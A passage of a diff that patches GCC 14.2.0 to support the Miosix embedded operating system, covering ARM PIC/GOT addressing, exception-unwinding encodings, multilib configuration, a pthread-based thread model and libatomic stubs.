(fields)) ++ if (TREE_CODE (fields) == FIELD_DECL ++ && contains_pointers_p (TREE_TYPE (fields))) ++ return true; ++ return false; ++ } ++ ++ case ARRAY_TYPE: ++ /* An array type contains pointers if its element type does. */ ++ return contains_pointers_p (TREE_TYPE (type)); ++ ++ default: ++ return false; ++ } ++} ++ ++/* ++ * Miosix processes do not live in a virtual address space. ++ * Their code and constants (.text and .rodata) live in FLASH at an address ++ * that is not known until runtime, so PC-relative addressing must be used. ++ * Their variables (.data and .bss) live in RAM, and the offset between ++ * .text and RAM is not constant, so the GOT must be used with single-pic-base. ++ * This function takes a memory reference and returns true if PC-relative ++ * addressing must be used, or false if the GOT must be used. ++ */ ++static bool miosix_processes_ref_demux(rtx orig) ++{ ++ // This logic has been kept from the original code in legitimize_pic_address ++ if(GET_CODE(orig) == LABEL_REF) return true; ++ ++ // From here on we handle the SYMBOL_REF case ++ //TODO: we don't do anything for DECL_WEAK ++ ++ // Dump data structures for debugging purpose ++ // print-rtl.c and print-tree.c are very useful for knowing how they work ++ //debug_rtx(orig); ++ //if(SYMBOL_REF_DECL(orig)) debug_tree(SYMBOL_REF_DECL(orig)); ++ ++ bool result = false; ++ const_tree decl = SYMBOL_REF_DECL(orig); ++ if(decl) ++ { ++ if(TREE_CODE(decl) == FUNCTION_DECL) ++ { ++ /* ++ * Taking function address, testcase (compile with -O2) ++ * void f(); ++ * typedef void (*fp)(); ++ * fp get() { return &f; } ++ */ ++ result = true; ++ //printf("constant (FUNCTION_DECL)\n\n"); ++ } else if(TREE_CODE(decl) == VAR_DECL) { ++ const_tree type = TREE_TYPE(decl); ++ assert(type != NULL && "Miosix: SYMBOL_REF of unknown constness (type==0)"); ++ if(contains_pointers_p(type)) ++ { ++ /* ++ * A true constant pointer can't exist in Miosix processes. ++ * If it's a constant, the pointer would need to be ++ * initialized at the definition site, and since it may ++ * point to a variable in RAM, a runtime relocation is ++ * needed to initialize it, and because of that it can't ++ * stay in .rodata among the true constants. ++ * Const pointers without relocations may exist, say for ++ * instance int *const p=0; and those *could* stay in .rodata ++ * but that creates another problem: how do we know from ++ * the declaration only (extern int *const p;) whether the ++ * pointer is in .rodata or not? We can't and thus we don't ++ * know whether to use pc-relative or GOT addressing, so ++ * we treat *all* const pointers as non const. ++ */ ++ //printf("variable (contains pointers)\n\n"); ++ } else if(decl_readonly_section(decl,0)) { ++ /* ++ * Non-extern consts in non optimized code, testcase (compile with -O0) ++ * const char str[]="Hello world\n"; ++ * const char *get() { return str; } ++ */ ++ result = true; ++ //printf("constant (decl_readonly_section)\n\n"); ++ // remaining if are because decl_readonly_section misses some ++ // const cases ++ } else if(TYPE_READONLY(type)) { ++ /* ++ * Extern const, testcase (compile with -O2) ++ * extern const int aRodata; ++ * int get() { return aRodata; } ++ */ ++ result = true; ++ //printf("constant (TYPE_READONLY)\n\n"); ++ } else { ++ /* ++ * Variables, testcase (compile with -O2) ++ * extern int aData; ++ * int get() { return aData; } ++ */ ++ //printf("variable (decl!=0)\n\n"); ++ } ++ } else assert(0 && "Miosix: SYMBOL_REF of unknown constness (TREE_CODE?)"); ++ } else { ++ // we fall here when optimizations are enabled and sometimes decl==NULL ++ ++ // NOTE: SYMBOL_REF_BLOCK() is valid only if SYMBOL_REF_HAS_BLOCK_INFO_P() ++ if(!SYMBOL_REF_HAS_BLOCK_INFO_P(orig) || SYMBOL_REF_BLOCK(orig) == NULL) ++ assert(0 && "Miosix: SYMBOL_REF of unknown constness (decl==0)"); ++ ++ // TODO: output.h defines a few default sections as global variables ++ // do we need to handle more than readonly_data_section? ++ if(SYMBOL_REF_BLOCK(orig)->sect == readonly_data_section) ++ { ++ /* ++ * Non-folded constants when optimizing, testcase (compile with -O2) ++ * const int aRodata2=42; ++ * const int *get() { return &aRodata2; } ++ */ ++ result = true; ++ //printf("constant (sect==readonly)\n\n"); ++ } else { ++ /* Defined (not just declared) vars when optimizing, testcase (compile with -O2) ++ * int aData=1; ++ * int get() { return aData; } ++ */ ++ //printf("variable (decl==0)\n\n"); ++ } ++ } ++ ++ return result; ++} ++ + /* Legitimize PIC load to ORIG into REG. If REG is NULL, a new pseudo is + created to hold the result of the load. If not NULL, PIC_REG indicates + which register to use as PIC register, otherwise it is decided by register +@@ -8201,6 +8387,8 @@ + reg = gen_reg_rtx (Pmode); + } + ++ bool miosix_ref_demux = miosix_processes_ref_demux(orig); ++ + /* VxWorks does not impose a fixed gap between segments; the run-time + gap can be different from the object-file gap. We therefore can't + use GOTOFF unless we are absolutely sure that the symbol is in the +@@ -8210,15 +8398,7 @@ + /* References to weak symbols cannot be resolved locally: they + may be overridden by a non-weak definition at link time. */ + rtx_insn *insn; +- if ((LABEL_REF_P (orig) +- || (SYMBOL_REF_P (orig) +- && SYMBOL_REF_LOCAL_P (orig) +- && (SYMBOL_REF_DECL (orig) +- ? !DECL_WEAK (SYMBOL_REF_DECL (orig)) : 1) +- && (!SYMBOL_REF_FUNCTION_P (orig) +- || arm_fdpic_local_funcdesc_p (orig)))) +- && NEED_GOT_RELOC +- && arm_pic_data_is_text_relative) ++ if (miosix_ref_demux && NEED_GOT_RELOC && arm_pic_data_is_text_relative) + insn = arm_pic_static_addr (orig, reg); + else + { +@@ -25059,6 +25239,21 @@ + if (NEED_GOT_RELOC && flag_pic && making_const_table && + (SYMBOL_REF_P (x) || LABEL_REF_P (x))) + { ++ /* ++ * NOTE: On Miosix processes GOTOFF can't work, as we don't know at ++ * time the offset between .text and .got/.data/whatever is in RAM ++ * so always use GOT. ++ * Without this patch a process with something as simple as ++ * int *ptr = { 0 }; ++ * int *get() { return ptr; } ++ * uses GOTOFF and produces segfaults upon calling get() ++ * NOTE: compared to the original patch for gcc 9.2.0 which here only had ++ * code to choose between GOT and GOTOFF, the new code also handles FDPIC ++ * https://static.linaro.org/connect/sfo15/Presentations/09-24-Thursday/SFO15-406-%20ARM%20FDPIC%20Toolchains.pdf ++ * but Miosix does not support fdpic (yet?) ++ */ ++ if (TARGET_FDPIC) assert(0 && "Miosix-patchd GCC does not support fdpic"); ++ + /* See legitimize_pic_address for an explanation of the + TARGET_VXWORKS_RTP check. */ + /* References to weak symbols cannot be resolved locally: +@@ -25087,7 +25282,9 @@ + + if (!TARGET_FDPIC + || arm_is_segment_info_known (x, &is_readonly)) +- fputs ("(GOTOFF)", asm_out_file); ++ //All this if/else chain should always produce (GOT) in Miosix ++ //fputs ("(GOTOFF)", asm_out_file); ++ fputs ("(GOT)", asm_out_file); + else + fputs ("(GOT)", asm_out_file); + } +diff -ruN gcc-14.2.0-old/gcc/config/arm/arm.h gcc-14.2.0/gcc/config/arm/arm.h +--- gcc-14.2.0-old/gcc/config/arm/arm.h 2024-08-01 10:17:14.000000000 +0200 ++++ gcc-14.2.0/gcc/config/arm/arm.h 2025-11-02 17:03:47.864049502 +0100 +@@ -959,7 +959,12 @@ + #define EH_RETURN_STACKADJ_RTX gen_rtx_REG (SImode, ARM_EH_STACKADJ_REGNUM) + + #ifndef ARM_TARGET2_DWARF_FORMAT +-#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_pcrel ++//TODO: #ifdef _MIOSIX does not work in this context ++//Produce exception unwinding tables that work with Miosix processes ++//see processes-patch.md, section "The problem with unwinding exception tables" ++//we want pcrel as usual for the Miosix kernel, and datarel for processes (pic) ++#define ARM_TARGET2_DWARF_FORMAT (flag_pic ? DW_EH_PE_datarel : DW_EH_PE_pcrel) ++//#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_pcrel + #endif + + /* ttype entries (the only interesting data references used) +diff -ruN gcc-14.2.0-old/gcc/config/arm/miosix-eabi.h gcc-14.2.0/gcc/config/arm/miosix-eabi.h +--- gcc-14.2.0-old/gcc/config/arm/miosix-eabi.h 1970-01-01 01:00:00.000000000 +0100 ++++ gcc-14.2.0/gcc/config/arm/miosix-eabi.h 2025-11-02 18:06:47.235536227 +0100 +@@ -0,0 +1,17 @@ ++ ++/* ++ * RATIONALE: adding builtin_define to always define _MIOSIX ++ * - when libgcc/libstdc++/newlib are compiled, as there are some #ifdef _MIOSIX ++ * - when Miosix processes are compiled, to allow #ifdef _MIOSIX ++ * Also add versioning to miosix-specific compiler patches. ++ */ ++ ++#undef TARGET_OS_CPP_BUILTINS ++#define TARGET_OS_CPP_BUILTINS() \ ++ do { \ ++ TARGET_BPABI_CPP_BUILTINS(); \ ++ builtin_define("_MIOSIX"); \ ++ builtin_define("_MIOSIX_GCC_PATCH_MAJOR=4"); \ ++ builtin_define("_MIOSIX_GCC_PATCH_MINOR=0"); \ ++ builtin_assert("system=miosix"); \ ++ } while(false) +diff -ruN gcc-14.2.0-old/gcc/config/arm/t-arm-miosix gcc-14.2.0/gcc/config/arm/t-arm-miosix +--- gcc-14.2.0-old/gcc/config/arm/t-arm-miosix 1970-01-01 01:00:00.000000000 +0100 ++++ gcc-14.2.0/gcc/config/arm/t-arm-miosix 2025-11-02 17:03:47.864049502 +0100 +@@ -0,0 +1,101 @@ ++ ++## RATIONALE: build multilibs for all microcontroller-relevant ARM architectures ++## with and without `-fpie -msingle-pic-base' (for processes). ++## If processes were not required, we could have simply set the option ++## --with-multilib-list=rmprofile, which builds multilibs for exactly the ++## architectures we are interested in. ++ ++## To update this file, have a look in t-multilib and t-rmprofile and bring over ++## new architectures/variants. Note that we are not building softfp ABI and ++## the directory structure is different than what is setup by t-rmprofile ++## (`-mfloat-abi=soft' is in the root directory, while rmprofile puts it in ++## the `soft' directory). ++## ++## Documentation for the variables set in this file are in ++## https://gcc.gnu.org/onlinedocs/gccint/Target-Fragment.html ++ ++MULTILIB_OPTIONS = ++MULTILIB_DIRNAMES = ++MULTILIB_MATCHES = ++MULTILIB_EXCEPTIONS = ++MULTILIB_REQUIRED = ++MULTILIB_REUSE = ++ ++# explicit default is -marm ++MULTILIB_OPTIONS += marm/mthumb ++MULTILIB_DIRNAMES += arm thumb ++ ++# implicit default is set to armv4t (because explicit defualt -mcpu=arm7tdmi) ++MULTILIB_OPTIONS += march=armv4t/march=armv6s-m/march=armv7-m/march=armv7e-m/march=armv7e-m+fp/march=armv7e-m+fp.dp/march=armv8-m.base/march=armv8-m.main/march=armv8-m.main+fp/march=armv8-m.main+fp.dp ++MULTILIB_DIRNAMES += v4t v6-m v7-m v7e-m v7e-m+fp v7e-m+dp v8-m.base v8-m.main v8-m.main+fp v8-m.main+dp ++ ++# implicit default is -mfloat-abi=soft due to the fallback value of the TARGET_DEFAULT_FLOAT_ABI define ++MULTILIB_OPTIONS += mfloat-abi=soft/mfloat-abi=hard ++MULTILIB_DIRNAMES += nofp hard ++ ++MULTILIB_OPTIONS += fpie msingle-pic-base ++MULTILIB_DIRNAMES += pie single-pic-base ++ ++## Multilibs to build: ++ ++# Armv4 (ARM7TDMI, no FP) ++MULTILIB_REQUIRED += marm/march=armv4t/mfloat-abi=soft ++MULTILIB_REQUIRED += mthumb/march=armv4t/mfloat-abi=soft ++ ++# Armv6 (Cortex-M0, M0+, M1, no FP) ++MULTILIB_REQUIRED += mthumb/march=armv6s-m/mfloat-abi=soft ++MULTILIB_REQUIRED += mthumb/march=armv6s-m/mfloat-abi=soft/fpie/msingle-pic-base ++ ++# Armv7-M (Cortex-M3, M4, M7, no FP) ++MULTILIB_REQUIRED += mthumb/march=armv7-m/mfloat-abi=soft ++MULTILIB_REQUIRED += mthumb/march=armv7-m/mfloat-abi=soft/fpie/msingle-pic-base ++ ++# Armv7e-M (Cortex-M4, M7 with FP single and double precision) ++MULTILIB_REQUIRED += mthumb/march=armv7e-m+fp/mfloat-abi=hard ++MULTILIB_REQUIRED += mthumb/march=armv7e-m+fp/mfloat-abi=hard/fpie/msingle-pic-base ++MULTILIB_REQUIRED += mthumb/march=armv7e-m+fp.dp/mfloat-abi=hard ++MULTILIB_REQUIRED += mthumb/march=armv7e-m+fp.dp/mfloat-abi=hard/fpie/msingle-pic-base ++ ++# Armv8-m baseline (Cortex-M23, no FP) ++MULTILIB_REQUIRED += mthumb/march=armv8-m.base/mfloat-abi=soft ++MULTILIB_REQUIRED += mthumb/march=armv8-m.base/mfloat-abi=soft/fpie/msingle-pic-base ++ ++# Armv8-m mainline (Cortex-M33, M35P with FP single and double precision) ++MULTILIB_REQUIRED += mthumb/march=armv8-m.main+fp/mfloat-abi=hard ++MULTILIB_REQUIRED += mthumb/march=armv8-m.main+fp/mfloat-abi=hard/fpie/msingle-pic-base ++MULTILIB_REQUIRED += mthumb/march=armv8-m.main+fp.dp/mfloat-abi=hard ++MULTILIB_REQUIRED += mthumb/march=armv8-m.main+fp.dp/mfloat-abi=hard/fpie/msingle-pic-base ++ ++## Aliases ++ ++# Once upon a time, Armv6 had a variant Armv6s with support for the SVC ++# instruction, but it was an undocumented variant which then got merged in the ++# base Armv6 standard. This rule always aliases armv6 to armv6s as they are ++# equivalent for all intents and purposes ++MULTILIB_MATCHES += march?armv6s-m=march?armv6-m ++ ++# Map v7e no FPU to v7 ++MULTILIB_MATCHES += march?armv7-m=march?armv7e-m ++ ++# Map v8.main no FPU to v8.base ++MULTILIB_MATCHES += march?armv8-m.base=march?armv8-m.main ++ ++# Map all v8-m.main+dsp FP variants down the the variant without DSP. ++MULTILIB_MATCHES += march?armv8-m.main=march?armv8-m.main+dsp ++MULTILIB_MATCHES += $(foreach FP, +fp +fp.dp, march?armv8-m.main$(FP)=march?armv8-m.main+dsp$(FP)) ++ ++# For single-precision only fpv5, use the base fp libraries ++MULTILIB_MATCHES += march?armv7e-m+fp=march?armv7e-m+fpv5 ++ ++# For architectures with no FPU, map unspecified -mfloat-abi to soft ++# Note: the t-rmprofile fragment does not do this, even though it is required, ++# because the main makefile (config.gcc) special-cases this by setting ++# with_float="soft" which results in all invocations to have the default ++# option "--with-float=soft" ++MULTILIB_REUSE += mthumb/march.armv4t/mfloat-abi.soft=mthumb/march.armv4t ++MULTILIB_REUSE += marm/march.armv4t/mfloat-abi.soft=marm/march.armv4t ++MULTILIB_REUSE += $(foreach ARCH, armv6s-m armv7-m armv8-m\.base, \ ++ mthumb/march.$(ARCH)/mfloat-abi.soft=mthumb/march.$(ARCH)) ++MULTILIB_REUSE += $(foreach ARCH, armv6s-m armv7-m armv8-m\.base, \ ++ mthumb/march.$(ARCH)/mfloat-abi.soft/fpie/msingle-pic-base=mthumb/march.$(ARCH)/fpie/msingle-pic-base) ++ +diff -ruN gcc-14.2.0-old/gcc/config/miosix.opt gcc-14.2.0/gcc/config/miosix.opt +--- gcc-14.2.0-old/gcc/config/miosix.opt 1970-01-01 01:00:00.000000000 +0100 ++++ gcc-14.2.0/gcc/config/miosix.opt 2025-11-02 17:03:47.864049502 +0100 +@@ -0,0 +1,8 @@ ++; Specify handling of compiler options for Miosix. ++ ++; The -pthread option does nothing on Mioisx, as threads are always enabled, but ++; we support it as many build scripts hardcode it, including libgomp and cmake ++pthread ++Ignore ++ ++; This comment is to ensure we retain the blank line above. +diff -ruN gcc-14.2.0-old/gcc/config/miosix.opt.urls gcc-14.2.0/gcc/config/miosix.opt.urls +--- gcc-14.2.0-old/gcc/config/miosix.opt.urls 1970-01-01 01:00:00.000000000 +0100 ++++ gcc-14.2.0/gcc/config/miosix.opt.urls 2025-11-02 17:03:47.864049502 +0100 +@@ -0,0 +1,6 @@ ++; Manual stub urls file for gcc/config/miosix.opt ++ ++; skipping UrlSuffix for 'pthread' due to multiple URLs: ++; duplicate: 'gcc/Link-Options.html#index-pthread-1' ++; duplicate: 'gcc/Preprocessor-Options.html#index-pthread' ++ +diff -ruN gcc-14.2.0-old/gcc/config.gcc gcc-14.2.0/gcc/config.gcc +--- gcc-14.2.0-old/gcc/config.gcc 2024-08-01 10:17:14.000000000 +0200 ++++ gcc-14.2.0/gcc/config.gcc 2025-11-02 17:03:47.868049547 +0100 +@@ -1478,6 +1478,14 @@ + tmake_file="${tmake_file} arm/t-arm arm/t-arm-elf" + target_cpu_cname="arm7tdmi" + case ${target} in ++ arm*-miosix-eabi*) ++ # Copy options from arm*-*-eabi*, add the miosix-specific ones ++ # and make sure arm/t-arm-elf is not added to tmake_file ++ tm_file="${tm_file} newlib-stdint.h arm/miosix-eabi.h" # Append ++ tmake_file="arm/t-arm arm/t-arm-miosix arm/t-bpabi" # Replace ++ extra_options="${extra_options} miosix.opt" # Append ++ use_gcc_stdint=wrap ++ ;; + arm*-*-eabi*) + tm_file="$tm_file newlib-stdint.h" + tmake_file="${tmake_file} arm/t-bpabi" +diff -ruN gcc-14.2.0-old/gcc/configure gcc-14.2.0/gcc/configure +--- gcc-14.2.0-old/gcc/configure 2024-08-01 10:18:42.000000000 +0200 ++++ gcc-14.2.0/gcc/configure 2025-11-02 17:03:47.868049547 +0100 +@@ -13219,7 +13219,7 @@ + # default + target_thread_file='single' + ;; +- aix | dce | lynx | mipssde | posix | rtems | \ ++ aix | dce | lynx | miosix | mipssde | posix | rtems | \ + single | tpf | vxworks | win32 | mcf) + target_thread_file=${enable_threads} + ;; +diff -ruN gcc-14.2.0-old/gcc/configure.ac gcc-14.2.0/gcc/configure.ac +--- gcc-14.2.0-old/gcc/configure.ac 2024-08-01 10:17:14.000000000 +0200 ++++ gcc-14.2.0/gcc/configure.ac 2025-11-02 17:03:47.872049594 +0100 +@@ -2053,7 +2053,7 @@ + # default + target_thread_file='single' + ;; +- aix | dce | lynx | mipssde | posix | rtems | \ ++ aix | dce | lynx | miosix | mipssde | posix | rtems | \ + single | tpf | vxworks | win32 | mcf) + target_thread_file=${enable_threads} + ;; +diff -ruN gcc-14.2.0-old/gcc/except.cc gcc-14.2.0/gcc/except.cc +--- gcc-14.2.0-old/gcc/except.cc 2024-08-01 10:17:14.000000000 +0200 ++++ gcc-14.2.0/gcc/except.cc 2025-11-02 17:03:47.872049594 +0100 +@@ -3055,6 +3055,11 @@ + else + { + tt_format = ASM_PREFERRED_EH_DATA_FORMAT (/*code=*/0, /*global=*/1); ++ // This is here for debugging the change to ARM_TARGET2_DWARF_FORMAT ++ // in Miosix processes: when compiling C++ code that throws and catches ++ // exceptions, it should print 0x10 (DW_EH_PE_pcrel) when compiling the ++ // kernel (non-pic) and 0x30 (DW_EH_PE_datarel) when compiling processes ++ //printf("\n\n-- called 0x%x --\n\n",tt_format); + if (HAVE_AS_LEB128) + ASM_GENERATE_INTERNAL_LABEL (ttype_label, + section ? "LLSDATTC" : "LLSDATT", +diff -ruN gcc-14.2.0-old/libatomic/config/miosix/host-config.h gcc-14.2.0/libatomic/config/miosix/host-config.h +--- gcc-14.2.0-old/libatomic/config/miosix/host-config.h 1970-01-01 01:00:00.000000000 +0100 ++++ gcc-14.2.0/libatomic/config/miosix/host-config.h 2025-11-02 17:03:47.872049594 +0100 +@@ -0,0 +1,23 @@ ++ ++/* ++ * According to libatomic_i.h, here we should implement ++ * - UWORD protect_start(void *ptr); ++ * - void protect_end(void *ptr, UWORD token); ++ * which are used by fop_n.c fop_n.c cas_n.c exch_n.c tas_n.c store_n.c for ++ * 'small' operations. ++ */ ++ ++unsigned int libat_quick_lock_n(void *ptr); ++void libat_quick_unlock_n(void *ptr, unsigned int token); ++ ++static inline UWORD protect_start(void *ptr) ++{ ++ return libat_quick_lock_n(ptr); ++} ++ ++static inline void protect_end(void *ptr, UWORD token) ++{ ++ libat_quick_unlock_n(ptr, token); ++} ++ ++#include_next +diff -ruN gcc-14.2.0-old/libatomic/config/miosix/lock.c gcc-14.2.0/libatomic/config/miosix/lock.c +--- gcc-14.2.0-old/libatomic/config/miosix/lock.c 1970-01-01 01:00:00.000000000 +0100 ++++ gcc-14.2.0/libatomic/config/miosix/lock.c 2025-11-02 17:03:47.872049594 +0100 +@@ -0,0 +1,13 @@ ++ ++/* ++ * According to libatomic_i.h, here we should implement ++ * - void libat_lock_n(void *ptr, size_t n); ++ * - void libat_unlock_n(void *ptr, size_t n); ++ * which are used by gexch.c gcas.c gload.c gstore.c for 'large' operations. ++ * ++ * Except, we don't. These function may be directly implemented in Miosix should ++ * the need arise, or intentionally left as undefined references if large ++ * locking intrinsics are to be disallowed. ++ */ ++ ++#include "libatomic_i.h" +diff -ruN gcc-14.2.0-old/libatomic/configure.tgt gcc-14.2.0/libatomic/configure.tgt +--- gcc-14.2.0-old/libatomic/configure.tgt 2024-08-01 10:17:17.000000000 +0200 ++++ gcc-14.2.0/libatomic/configure.tgt 2025-11-02 17:03:47.872049594 +0100 +@@ -168,6 +168,10 @@ + esac + ;; + ++ arm*-miosix-eabi*) ++ config_path="miosix" ++ ;; ++ + *-*-rtems*) + XCFLAGS="${configure_tgt_pre_target_cpu_XCFLAGS}" + config_path="rtems" +diff -ruN gcc-14.2.0-old/libatomic/tas_n.c gcc-14.2.0/libatomic/tas_n.c +--- gcc-14.2.0-old/libatomic/tas_n.c 2024-08-01 10:17:17.000000000 +0200 ++++ gcc-14.2.0/libatomic/tas_n.c 2025-11-02 17:03:47.872049594 +0100 +@@ -113,3 +113,17 @@ + #endif + + EXPORT_ALIAS (SIZE(test_and_set)); ++ ++// Miosix patch begin ++// Since bug https://gcc.gnu.org/bugzilla/show_bug.cgi?id=109166 was fixed, ++// GCC can generate calls to __atomic_test_and_set() but libatomic does not ++// provide a fallback implementation, causing builds of Miosix for armv6m ++// platforms (Cortex-M0) to potentially fail with linking errors. ++// To fix the problem in the interim (while we wait for upstream to fix it ++// properly) we implement __atomic_test_and_set by aliasing it to ++// __atomic_test_and_set_1. ++#if N == 1 && !SIZE(HAVE_ATOMIC_TAS) ++extern bool __atomic_test_and_set (void *mptr, int smodel) ++ __attribute__((alias("libat_test_and_set_1"))); ++#endif ++// Miosix patch end +diff -ruN gcc-14.2.0-old/libgcc/config/arm/pr-support.c gcc-14.2.0/libgcc/config/arm/pr-support.c +--- gcc-14.2.0-old/libgcc/config/arm/pr-support.c 2024-08-01 10:17:17.000000000 +0200 ++++ gcc-14.2.0/libgcc/config/arm/pr-support.c 2025-11-02 18:36:09.907818193 +0100 +@@ -425,7 +425,14 @@ + _Unwind_Ptr + _Unwind_GetDataRelBase (_Unwind_Context *context __attribute__ ((unused))) + { +- abort (); ++// TODO: #ifdef _MIOSIX does not work in this context ++// Support exception unwinding that work with Miosix processes ++// see processes-patch.md, section "The problem with unwinding exception tables" ++// NOTE: this code gets linked (even though it never gets used) also in the kernel, ++// so the symbol name we choose here must also exist in the kernel linker scripts ++ extern char _data asm("_data"); //defined in the linker script ++ return (_Unwind_Ptr) &_data; ++// abort (); + } + + _Unwind_Ptr +diff -ruN gcc-14.2.0-old/libgcc/config/arm/unwind-arm.h gcc-14.2.0/libgcc/config/arm/unwind-arm.h +--- gcc-14.2.0-old/libgcc/config/arm/unwind-arm.h 2024-08-01 10:17:17.000000000 +0200 ++++ gcc-14.2.0/libgcc/config/arm/unwind-arm.h 2025-11-02 17:03:47.872049594 +0100 +@@ -82,6 +82,12 @@ + #elif defined(__symbian__) || defined(__uClinux__) + #define _GLIBCXX_OVERRIDE_TTYPE_ENCODING (DW_EH_PE_absptr) + /* Absolute pointer. Nothing more to do. */ ++#elif defined(_MIOSIX) ++ // DO NOT DEFINE _GLIBCXX_OVERRIDE_TTYPE_ENCODING, we don't want that kludge ++ // as the encoding could be either pc-relative (kernel) or data-relative (processes) ++ // see processes-patch.md ++ // This relies on base_of_encoded_value() setting base to 0 for DW_EH_PE_pcrel ++ tmp += base ? base : ptr; + #else + #define _GLIBCXX_OVERRIDE_TTYPE_ENCODING (DW_EH_PE_pcrel) + /* Pc-relative pointer. */ +diff -ruN gcc-14.2.0-old/libgcc/config/gthr-miosix.h gcc-14.2.0/libgcc/config/gthr-miosix.h +--- gcc-14.2.0-old/libgcc/config/gthr-miosix.h 1970-01-01 01:00:00.000000000 +0100 ++++ gcc-14.2.0/libgcc/config/gthr-miosix.h 2025-11-02 17:48:52.479169756 +0100 +@@ -0,0 +1,94 @@ ++ ++// RATIONALE: make the code generated by GCC thread safe by providing a thread model ++ ++#ifndef GCC_GHTR_MIOSIX_H ++#define GCC_GHTR_MIOSIX_H ++ ++#include ++#include ++#include ++#include ++ ++// Note to self: gthr.h contains useful information ++// on how a gthr-xxx.h should look like ++ ++#define __GTHREADS 1 ++#define __GTHREAD_HAS_COND 1 ++#define __GTHREADS_CXX0X 1 ++// Found in libstdc++ ++#define _GTHREAD_USE_MUTEX_TIMEDLOCK 1 ++ ++// In Miosix, threads are always enabled, period. ++#define __gthread_active_p() 1 ++ ++typedef pthread_t __gthread_t; ++typedef pthread_key_t __gthread_key_t; ++typedef pthread_once_t __gthread_once_t; ++typedef pthread_mutex_t __gthread_mutex_t; ++typedef pthread_mutex_t __gthread_recursive_mutex_t; ++typedef pthread_cond_t __gthread_cond_t; ++typedef struct timespec __gthread_time_t; ++ ++#define __GTHREAD_ONCE_INIT PTHREAD_ONCE_INIT ++#define __GTHREAD_MUTEX_INIT PTHREAD_MUTEX_INITIALIZER ++#define __GTHREAD_MUTEX_INIT_FUNCTION __gthread_mutex_init_function ++#define __GTHREAD_RECURSIVE_MUTEX_INIT PTHREAD_MUTEX_RECURSIVE_INITIALIZER_NP ++#define __GTHREAD_RECURSIVE_MUTEX_INIT_FUNCTION __gthread_recursive_mutex_init_function ++#define __GTHREAD_COND_INIT PTHREAD_COND_INITIALIZER ++#define __GTHREAD_COND_INIT_FUNCTION __gthread_cond_init_function ++#define __GTHREAD_TIME_INIT {0,0} ++ ++#define __gthread_once pthread_once ++#define __gthread_mutex_destroy pthread_mutex_destroy ++#define __gthread_recursive_mutex_destroy pthread_mutex_destroy ++#define __gthread_cond_destroy pthread_cond_destroy ++#define __gthread_mutex_lock pthread_mutex_lock ++#define __gthread_mutex_trylock pthread_mutex_trylock ++#define __gthread_mutex_unlock pthread_mutex_unlock ++#define __gthread_recursive_mutex_lock pthread_mutex_lock ++#define __gthread_recursive_mutex_trylock pthread_mutex_trylock ++#define __gthread_recursive_mutex_unlock pthread_mutex_unlock ++#define __gthread_cond_signal pthread_cond_signal ++#define __gthread_cond_broadcast pthread_cond_broadcast ++#define __gthread_cond_wait pthread_cond_wait ++#define __gthread_cond_wait_recursive pthread_cond_wait ++#define __gthread_join pthread_join ++#define __gthread_detach pthread_detach ++#define __gthread_equal pthread_equal ++#define __gthread_self pthread_self ++#define __gthread_yield sched_yield ++#define __gthread_key_create pthread_key_create ++#define __gthread_key_delete pthread_key_delete ++#define __gthread_getspecific pthread_getspecific ++#define __gthread_setspecific pthread_setspecific ++#define __gthread_cond_timedwait pthread_cond_timedwait ++// These actually aren't implemented in Miosix, so code trying to use these will ++// fail to link, and for now it's the "desired" behaviour (better than failing ++// at runtime, at least). They are used somewhere in libstdc++ too, but as of ++// GCC 14 only in header files wrapping the same functionality in the C++ ++// threading classes, they are not used to provide other abstractions. ++#define __gthread_mutex_timedlock pthread_mutex_timedlock ++#define __gthread_recursive_mutex_timedlock pthread_mutex_timedlock ++ ++static inline void __gthread_mutex_init_function(__gthread_mutex_t *__mutex) ++{ ++ pthread_mutex_init(__mutex, NULL); ++} ++ ++static inline void __gthread_recursive_mutex_init_function(__gthread_recursive_mutex_t *__mutex) ++{ ++ // Defined in newlib patches for Miosix ++ __lock_init_recursive(*__mutex); ++} ++ ++static inline void __gthread_cond_init_function(__gthread_cond_t *__cond) ++{ ++ pthread_cond_init(__cond, NULL); ++} ++ ++static inline int __gthread_create(__gthread_t *__thrd, void *(*__func)(void*), void *__args) ++{ ++ return pthread_create(__thrd, NULL, __func, __args); ++} ++ ++#endif // GCC_GHTR_MIOSIX_H +diff -ruN gcc-14.2.0-old/libgcc/configure gcc-14.2.0/libgcc/configure +--- gcc-14.2.0-old/libgcc/configure 2024-08-01 10:17:17.000000000 +0200 ++++ gcc-14.2.0/libgcc/configure 2025-11-02 17:03:47.872049594 +0100 +@@ -5756,6 +5756,7 @@ + dce) thread_header=config/pa/gthr-dce.h ;; + gcn) thread_header=config/gcn/gthr-gcn.h ;; + lynx) thread_header=config/gthr-lynx.h ;; ++ miosix) thread_header=config/gthr-miosix.h ;; + mipssde) thread_header=config/mips/gthr-mipssde.h ;; + posix) thread_header=gthr-posix.h ;; + rtems) thread_header=config/gthr-rtems.h ;; +diff -ruN gcc-14.2.0-old/libgcc/unwind-arm-common.inc gcc-14.2.0/libgcc/unwind-arm-common.inc +--- gcc-14.2.0-old/libgcc/unwind-arm-common.inc 2024-08-01 10:17:17.000000000 +0200 ++++ gcc-14.2.0/libgcc/unwind-arm-common.inc 2025-11-02 17:03:47.872049594 +0100 +@@ -62,14 +62,18 @@ + ctm_succeeded_with_ptr_to_base = 2 + }; + +-void __attribute__((weak)) __cxa_call_unexpected(_Unwind_Control_Block *ucbp); +-bool __attribute__((weak)) __cxa_begin_cleanup(_Unwind_Control_Block *ucbp); +-enum __cxa_type_match_result __attribute__((weak)) __cxa_type_match ++// Also declaring function prototypes weak seems to trigger the generation of ++// R_ARM_REL32. This only happens with a test program that does not throw ++// exceptions such as a main.cpp with just a printf() compiled without ++// -fno-exceptions for now, we'll just remove weak ++void /*__attribute__((weak))*/ __cxa_call_unexpected(_Unwind_Control_Block *ucbp); ++bool /*__attribute__((weak))*/ __cxa_begin_cleanup(_Unwind_Control_Block *ucbp); ++enum __cxa_type_match_result /*__attribute__((weak))*/ __cxa_type_match + (_Unwind_Control_Block *ucbp, const type_info *rttip, + bool is_reference, void **matched_object); + +-_Unwind_Ptr __attribute__((weak)) +-__gnu_Unwind_Find_exidx (_Unwind_Ptr, int *); ++//_Unwind_Ptr __attribute__((weak)) ++//__gnu_Unwind_Find_exidx (_Unwind_Ptr, int *); + + #define EXIDX_CANTUNWIND 1 + #define uint32_highbit (((_uw) 1) << 31) +@@ -271,6 +275,15 @@ + instruction itself. */ + return_address -= 2; + ++ /* ++ * Apparently checking the address of a weak symbol does not work in Miosix ++ * processes, 